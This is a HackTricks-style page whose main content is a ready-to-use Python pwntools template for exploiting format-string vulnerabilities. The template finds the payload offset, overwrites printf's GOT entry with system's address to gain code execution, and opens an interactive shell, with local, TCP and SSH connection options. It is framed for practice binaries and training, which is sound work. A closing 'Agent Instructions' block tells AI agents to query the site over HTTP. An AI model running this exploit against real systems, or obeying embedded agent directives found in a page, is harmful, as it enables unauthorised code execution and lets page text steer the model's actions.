# Format Strings Template

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

```python
from pwn import *
from time import sleep

###################
### CONNECTION ####
###################

# Define how you want to exploit the binary
LOCAL = True
REMOTETTCP = False
REMOTESSH = False
GDB = False

# Configure vulnerable binary
LOCAL_BIN = "./tyler"
REMOTE_BIN = "./tyler" #For ssh

# In order to exploit the format string you may need to append/prepend some string to the payload
# configure them here
PREFIX_PAYLOAD = b""
SUFFIX_PAYLOAD = b""
NNUM_ALREADY_WRITTEN_BYTES = 0
MAX_LENTGH = 999999 #Big num if not restricted

print(" ====================== ")
print("Selected options:")
print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}")
print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}")
print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}")
print(" ====================== ")


def connect_binary():
    global P, ELF_LOADED, ROP_LOADED

    if LOCAL:
        P = process(LOCAL_BIN) # start the vuln binary
        ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
        ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

    elif REMOTETTCP:
        P = remote('10.10.10.10',1338) # start the vuln binary
        ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
        ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

    elif REMOTESSH:
        ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
        P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
        ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
        ROP_LOADED = ROP(elf)# Find ROP gadgets


#######################################
### Get format string configuration ###
#######################################

def send_payload(payload):
    payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
    log.info("payload = %s" % repr(payload))
    if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
    P.sendline(payload)
    sleep(0.5)
    return P.recv()


def get_formatstring_config():
    global P

    for offset in range(1,1000):
        connect_binary()
        P.clean()

        payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
        recieved = send_payload(payload).strip()

        if b"41" in recieved:
            for padlen in range(0,4):              
                if b"41414141" in recieved:
                    connect_binary()
                    payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
                    recieved = send_payload(payload).strip()
                    print(recieved)
                    if b"42424242" in recieved:
                        log.info(f"Found offset ({offset}) and padlen ({padlen})")
                        return offset, padlen

                else:
                    connect_binary()
                    payload = b" " + payload
                    recieved = send_payload(payload).strip()


# In order to exploit a format string you need to find a position where part of your payload
# is being reflected. Then, you will be able to put in the position arbitrary addresses
# and write arbitrary content in those addresses
# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string

offset, padlen = get_formatstring_config()


# In this template, the GOT of printf (the part of the GOT table that points to where the printf
# function resides) is going to be modified by the address of the system inside the PLT (the
# part of the code that will jump to the system function).
# Therefore, next time the printf function is executed, system will be executed instead with the same
# parameters passed to printf

# In some scenarios you will need to loop1 more time to the vulnerability
# In that cases you need to overwrite a pointer in the .fini_array for example
# Uncomment the commented code below to gain 1 rexecution extra

#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
#INIT_LOOP_ADDR = 0x8048614 # Address to go back
SYSTEM_PLT = ELF_LOADED.plt["system"]
P_GOT = ELF_LOADED.got["printf"]

#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}")
#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}")
log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
log.info(f"Printf GOT address: {hex(P_GOT)}")

connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
    # attach gdb and continue
    # You can set breakpoints, for example "break *main"
    gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
    sleep(5)

format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
format_string.write(P_GOT, SYSTEM_PLT)
format_string.execute_writes()

# Now that printf function is executing system you just need to find a place where you can
# control the parameters passed to printf to execute arbitrary code.

P.interactive()
```

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings-template.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
